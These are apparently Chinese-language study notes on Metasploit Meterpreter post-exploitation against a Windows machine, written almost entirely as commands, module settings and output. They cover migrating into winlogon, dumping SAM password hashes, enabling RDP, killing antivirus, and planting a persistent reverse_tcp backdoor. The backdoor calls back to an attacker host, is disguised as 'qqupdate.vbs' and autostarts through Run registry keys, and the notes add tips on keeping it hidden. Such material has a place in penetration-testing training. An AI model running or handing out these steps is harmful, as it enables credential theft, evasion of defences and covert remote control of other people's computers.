补充
进程的迁移
getpid
#查看在windows中的进程
meterpreter > ps | findstr "winlogon"
migrate + pid号 (进程迁徙) [需要管理权限]
#直接搜索系统进程,把进程迁移到系统进程上,正常情况下是不会被杀死。
#winlogon被杀掉,系统直接掉出桌面
#这个是需要在拥有管理员权限的情况下才能使用的
后渗透模块的使用
meterpreter > hashdump
#h:500:aad3b435b51404eeaad3b435b51404ee:4c921b57be5a4c25ded1fd31834a3351:::
#后面的就是进行MD5加密的密码,加密类型是NTLM。
#windows存放账号密码的文件路径 C:\Windows\System32\config\SAM 。前面读取的就是这个文件
meterpreter > run post/windows/gather/smart_hashdump
#使用post模块中的脚本来直接读取哈希值,不过脚本不是特别强大,只能破解弱口令,有可能密码读取不完整
#在meterpreter中使用这个模块用run命令
meterpreter > run post/windows/manage/enable_rdp
#开启windows的3389端口,可以在控制面版中查看是否开启远程桌面
meterpreter > get_timeouts
#可以看到会话的超时时间
meterpreter > screenshare
#[*] Opening player at: /root/wrvlsVKU.html
#通过浏览器打开监视视频对目标主机进行检测。这个需要拥有root用户的权限可以,不然会报错。vnc就不需要,可以直接运行
meterpreter > run post/windows/manage/killav
#杀死杀软。不过正常去情况下已经不起作用了,被杀软公司研究透了
meterpreter > run post/windows/gather/checkvm
#检查目标主机是否是虚拟机
meterpreter > run post/windows/gather/enum_logged_on_users
#枚举出最近登陆的用户和当前记录的用户
meterpreter > run post/windows/gather/enum_patches
#查看目标主机中的系统补丁
meterpreter > run post/windows/gather/enum_domain
#查看域控
meterpreter > run post/windows/gather/enum_applications
#查看安装软件的信息
meterpreter > run post/windows/gather/forensics/enum_drives
#查看分区信息
##############################################################################
也可以在msf6中直接使用要使用的模块,这里采用use,查看你下opitons,对必要配置进行设置。
遇到不知到作用的模块可以用info进行查看
持续化后门
使用着个模块的时候,需要关闭杀软,不然会报错
在meterpreter模块下进行持续化后门
run persistence -X -i 5 -p 7777 -r 192.168.0.104
#-X 对当前机器生效 -U 对当前用户生效 -i 每几秒进行一次连接 -r 本地用户的ip -p 监听端口
#在你的系统目录下创建一个自启动项
在msf6中进行持续化后门的生成
msf6 exploit(multi/handler) > use exploit/windows/local/persistence
#使用persistence模块
msf6 exploit(windows/local/persistence) > set session 3
#设置会话(必要设置)
msf6 exploit(windows/local/persistence) > run
#对目标主机生成持续化后门
#后面的设置不是必要的
msf6 exploit(windows/local/persistence) > set lhost 8888
#设置监听端口,进行监听的端口要和这个相同
msf6 exploit(windows/local/persistence) > set DeLAY 5
#设置每间隔几秒中发起一次连接,弹出一次会话
msf6 exploit(windows/local/persistence) > set vbs_name qqupdate.vbs
#设置vbs脚本文件的名字
set REG_NAME qq_update.reg
#设置reg的文件名,就是在注册表中的名字
msf6 exploit(windows/local/persistence) > set payload windows/x64/meterpreter/reverse_tcp
#设置payload 默认是 windows/meterpreter/reverse_tcp
msf6 exploit(windows/local/persistence) > set path c:\\user\\H\\Desktop
#设置vbs文件的路径
msf6 exploit(windows/local/persistence) > set exe_name 111111.exe
#设置后台进程的名字
msf6 exploit(windows/local/persistence) > set startup SYSTEM
#设置在注册表中的生成位置。user就是在当前用户;system就是生成在本地机器,对所有用户生效
###############
[*] Running persistent module against H-PC via session ID: 3
[+] Persistent VBS script written on H-PC to C:\Users\H\AppData\Local\Temp\pjDwKlqSg.vbs
//这边显示的是在目标主机的生成路径
[*] Installing as HKCU\Software\Microsoft\Windows\CurrentVersion\Run\dRLrSkIzy
[+] Installed autorun on H-PC as HKCU\Software\Microsoft\Windows\CurrentVersion\Run\dRLrSkIzy
//在注册表中写入该文件,这个路径就是软件开机自启动的路径
[*] Clean up Meterpreter RC file: /root/.msf4/logs/persistence/H-PC_20230613.1259/H-PC_20230613.1259.rc
这边有一个值得注意的点是:
在注册表寻找自启动路径的时候他会存在两个位置,这个取决于 STARTUP 的设置
①HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
#为USER的时候
②HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run
#为SYSTEM的时候
使用这个模块提权和不提权的区别:
①提权之后,当会话被中断的时候就会在连接一个新的会话,在目标主机是没有任何提示的。
②没有提权的情况下,当会话被中断了之后会在连接一个新的会话,但是连接的时候,在目标主机上面始有提示的,会询问你是否运行你所在目标主机生成的后门脚本。
③当你没有提权,且没有会话对目标主机进行连接的时候。根据你设置的几秒连接一次,目标主机会不断询问是否运行该程序,在目标主机看来就是一个明显的木马。而且,如果在kali没有开启见监听的话,在目标主机中点击确定也是没有用的。
④提权之后,当你没有会话与目标主机进行连接的时候,也不会出现个没提权的情况一样,一直询问是否要运行脚本程序,相对隐蔽。
持续化监听
handler -H 192.168.0.104 -P 8888 -p windows/x64/meterpreter/reverse_tcp
#-H 为监听地址 -P 为监听端口
jobs
#可以查看正在进行的监听任务